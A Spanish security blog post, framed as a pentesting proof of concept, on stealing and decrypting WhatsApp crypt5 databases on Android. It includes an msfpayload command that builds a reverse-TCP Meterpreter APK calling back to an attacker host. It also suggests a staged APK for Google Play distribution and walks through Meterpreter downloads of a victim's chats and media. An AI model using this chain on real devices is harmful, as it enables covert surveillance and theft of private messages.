Facebook ha comprado 
WhatsApp y con ello todo lo bueno y malo que tiene esta aplicación. Lo bueno es algo sencillo de entender y es que tener más de 
500 millones de usuarios es algo importante para la firma, pero también se lleva todos los problemas de seguridad que desde hace años van arrastrando a golpe de parche, aunque siguen 
apareciendo nuevos fallos en el cifrado y fugas de información que dejan ver 
tú número de teléfono, la ubicación donde estás o 
la dirección IP desde la que estás conectado. Además, hace algunas semanas se ha golpeado con mucha fuerza la aplicación de mensajería instantánea.  
Sabemos que existen muchos métodos para 
espiar WhatsApp, aunque semanas atrás salió a la luz el 
método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en 
Android es sencillo, ya que se almacenan en la 
SDCard del dispositivo, pero también pueden sacarse 
de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de 
si hay jailbreak o no, si hay SSH por defecto, y del 
tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un 
hacking a dispositivos iPhone completo.
Alejandro Ramos (
@aramosf) liberó un 
script en Python dónde teniendo la base de datos cifrada y el usuario de 
Gmail utilizado en el dispositivo 
Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio 
Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada. 
 
|  | 
| Figura 1: Script de descifrado de bases de datos Crypt5 de WhatsApp | 
¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es 
aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo 
cbc, 
cipher block chaining, aplica a cada bloque de texto plano un 
XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.
PoC: El llamado Wonderland
En algunos ámbitos 
Meterpreter, una famosa 
shellcode utilizada por muchos 
pentesters en el maravilloso framework de explotación Metasploit, es conocido como 
Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta 
shellcode en un dispositivo móvil es 
robar la base de datos de WhatsApp, y después descifrarla.
Lo primero es conseguir ejecutar 
Meterpreter en un dispositivo 
Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por 
Google Play, ¿En serio?
En esta vida todo es probar, y como ya ha explicado 
Sergio de los Santos hay un ecosistema de 
Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un 
Meterpreter. Además, hemos visto que hay 
peleas por hacer fakes app de WhatsApp, que hay quién 
se ha dado de alta como Apple Inc, los que se dedican a hacer 
estafas de SMS Premium como la de la Linterna Molona y cibercriminales que 
roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!
|  | 
| Figura 2: Fakes App de un supuesto Apple Inc en Google Play | 
La primera vía sería utilizar la herramienta 
msfpayload para generar un 
APK instalable en los dispositivos 
Android, pero este 
APK no podrá ser subido a 
Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un 
APK para 
Android que ejecute una 
Meterpreter inversa:
msfpayload android/meterpreter/reverse_tcp LHOST=[dirección IP a la que se conecta la shellcode] LPORT=[puerto a la que se conecta] R > nombre_fichero.apk
|  | 
| Figura 2: Creando una APK con un Meterpreter | 
La otra vía sería desarrollar una 
APK que pida órdenes, por ejemplo, mediante un 
XML y que al recibir una instrucción maliciosa en ese 
XML se conecte a un servidor dónde le esperaremos para otorgarle un 
JAR, dónde empaquetado se encuentre la 
shellcode de 
Meterpreter. Este 
JAR se puede ejecutar dentro del 
provider de la 
app que la víctima descarga  del 
Google Play. ¿En serio? Sigamos adelante…
Ahora una vez que tenemos de alguna de las dos formas preparadas la 
APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el 
JAR con la 
shellcode. Para ello utilizamos la herramienta del 
framework de 
Metasploit denominada 
msfconsole, tal y como se puede ver en la imagen.
 
|  | 
| Figura 4: Usando msfconsole de Metasploit desde un Kali Linux | 
Tras ejecutar la instrucción 
exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el 
JAR que completará la segunda 
stage de la ejecución de la 
shell Meterpreter.
En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la 
APK sea distribuida a través de un 
market, y si es oficial el desastre sería mayor. 
 
|  | 
| Figura 5: Stage 2. Se devuelve el JAR con la shell Meterpreter | 
Ahora podemos realizar diversas acciones con esta 
shellcode Meterpreter dentro del dispositivo. Sin ser 
root se puede, siempre y cuando la 
APK que ha conseguido colar la 
shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un 
streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo. 
Si abrimos una 
shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la 
app pueda, ya que no somos 
root. La 
SDCard es uno de los puntos donde podemos aprovecharnos de no ser 
root y encontrar información muy interesante. 
 
|  | 
| Figura 6: Ejecutando comandos en el sistema | 
Al ejecutar un 
ls podemos encontrar la carpeta de 
WhatsApp y todo lo que hay dentro de la 
SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de 
WhatsApp, ahora mismo estamos en la ruta 
/sdcard/WhatsApp podemos encontrar los siguientes elementos: 
backups, 
databases, 
media y 
profile pictures.
Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra 
shellcode podría descargarlo a nuestro equipo. 
|  | 
| Figura 7: El contenido transmitido por WhatsApp | 
En la imagen se ve 
/storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como 
/sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente? 
Meterpreter proporciona un comando para realizar descargas de archivos, este comando es 
download, y su sintaxis es 
download [origen] [destino].
En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la 
SDCard.
|  | 
| Figura 8: Descargando las imágenes enviadas por WhatsApp | 
Para llevar a cabo la operativa con las bases de datos con los mensajes de 
WhatsApp es exactamente igual, solo que la instrucción en este caso sería 
download /sdcard/WhatsApp/Databases/[nombre base de datos][destino máquina local].
 
|  | 
| Figura 9: Las bases de datos de WhatsApp en Android cifradas con crypt5 | 
Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el 
script que comentábamos al principio para 
descifrar la base de datos crypt5. El 
script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.
|  | 
| Figura 10: Descifrando la base de datos crypt5 de WhatsApp | 
Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos 
SQLite3, por ejemplo el 
add-on de Mozilla Firefox denominado 
SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.
|  | 
| Figura 11: La base de datos SQLite de WhatsApp vista en SQLite Manager | 
Además, una vez que tienes los mensajes, el siguiente paso sería 
recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de 
Recuperar mensajes de WhatsApp borrados.
Autor: Pablo González 
Twitter: @PabloGonzalezPe